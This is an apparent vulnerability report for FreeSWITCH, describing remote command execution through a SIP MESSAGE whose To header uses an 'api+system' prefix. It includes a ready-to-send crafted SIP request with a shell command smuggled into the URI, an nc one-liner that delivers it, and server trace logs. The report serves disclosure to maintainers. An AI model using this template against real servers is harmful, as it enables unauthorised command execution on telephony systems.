Command Injection via SIP MESSAGE with api+prefix in Toheader (CVE-like)

[qwxingren]

Describe the bug
A remote attacker can execute arbitrary system commands on a FreeSWITCH server by sending a crafted SIP MESSAGE request. The vulnerability exists in the processing of the Toheader URI when it contains the pattern api+command. The server incorrectly interprets the apiprotocol prefix and executes the embedded command via system()without proper sanitization.

一个通过发送 sip message信令触发chat处理代码执行 api+system的漏洞，profile没有配置chatplan，且auth-messages=false,必现。1.10.7---最新。1.10.7以前的版本没有做验证。

To Reproduce

1. The profile must have auth-messages=false(no authentication required for incoming MESSAGE requests).
2. No custom chatplan configured (default behavior used).
3. The target FreeSWITCH instance listens on UDP port 5060 (or any SIP port), e.g. 192.168.2.74 5060
4. save sip message into message.txt.

MESSAGE sip:api+system%20echo%20test%20%3E%20%2Ftmp%2Fpwn.txt@192.168.2.74 SIP/2.0
Via: SIP/2.0/UDP 192.168.2.72:5060;branch=z9hG4bK-attack-exp
From: "attacker" <sip:attacker@192.168.2.74>
To: <sip:api+system%20echo%20test%20%3E%20%2Ftmp%2Fpwn.txt@192.168.2.74>
Call-ID: exploit-20260711-001
CSeq: 1 MESSAGE
Content-Length: 0

5. nc -u 192.168.2.74 5060 < message.txt

Expected behavior
The command "echo test > /tmp/pwn.txt " is executed on the server, creating the file /tmp/pwn.txt

Package version or git hash

• Version 1.10.7 and newer

Trace logs

notice that is: Chat proto [api]

recv 327 bytes from udp/[192.168.2.74]:53916 at 16:59:31.653883:
------------------------------------------------------------------------
MESSAGE sip:api+system%20echo%20test%20%3E%20%2Ftmp%2Fpwn.txt@192.168.2.74 SIP/2.0
Via: SIP/2.0/UDP 192.168.2.72:5060;branch=z9hG4bK-attack-exp
From: "attacker" <sip:attacker@192.168.2.74>
To: <sip:api+system%20echo%20test%20%3E%20%2Ftmp%2Fpwn.txt@192.168.2.74>
Call-ID: exploit-20260711-001
CSeq: 1 MESSAGE
Content-Length: 0


2026-07-13 16:59:31.649026 99.97% [INFO] mod_sms.c:368 Processing text message attacker->api+system%20echo%20test%20%3E%20/tmp/pwn.txt
in context public
2026-07-13 16:59:31.649026 99.97% [WARNING] mod_sms.c:397 Context public not found
2026-07-13 16:59:31.649026 99.97% [DEBUG] mod_sms.c:477 SMS chatplan no actions found
send 540 bytes to udp/[192.168.2.74]:5060 at 16:59:31.654103:
------------------------------------------------------------------------
SIP/2.0 202 Accepted
Via: SIP/2.0/UDP 192.168.2.72:5060;branch=z9hG4bK-attack-exp;received=192.168.2.74
From: "attacker" <sip:attacker@192.168.2.74>
To: <sip:api+system%20echo%20test%20%3E%20/tmp/pwn.txt@192.168.2.74>;tag=D2v5cec5jmv5F
Call-ID: exploit-20260711-001
CSeq: 1 MESSAGE
Contact: <sip:192.168.2.74:5060>
User-Agent: FreeSWITCH-mod_sofia/1.10.7-release~64bit
Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY, PUBLISH, SUBSCRIBE
Supported: timer, path, replaces
Content-Length: 0


2026-07-13 16:59:31.649026 99.97% [WARNING] sofia_presence.c:221 Not sending to local box for attacker@192.168.2.74
2026-07-13 16:59:31.649026 99.97% [ERR] sofia_presence.c:272 Chat proto [api]
from ["system%20echo%20test%20%3E%20/tmp/pwn.txt" <sip:api+system%20echo%20test%20%3E%20/tmp/pwn.txt@192.168.2.74>]
to [attacker@192.168.2.74]

Nobody to send to: Profile 192.168.2.74

[greenbea]

This can be reproduced with message auth enabled; any user with valid SIP credentials can still MESSAGE api+… and trigger switch_api_execute.

Chatplan only stops delivery to api if it sets final_delivery=true; otherwise, the api+ path still runs.

Treating to as an API command is intentional in mod_dptools api_chat_send; the issue is that Sofia will route an authenticated SIP MESSAGE into that path.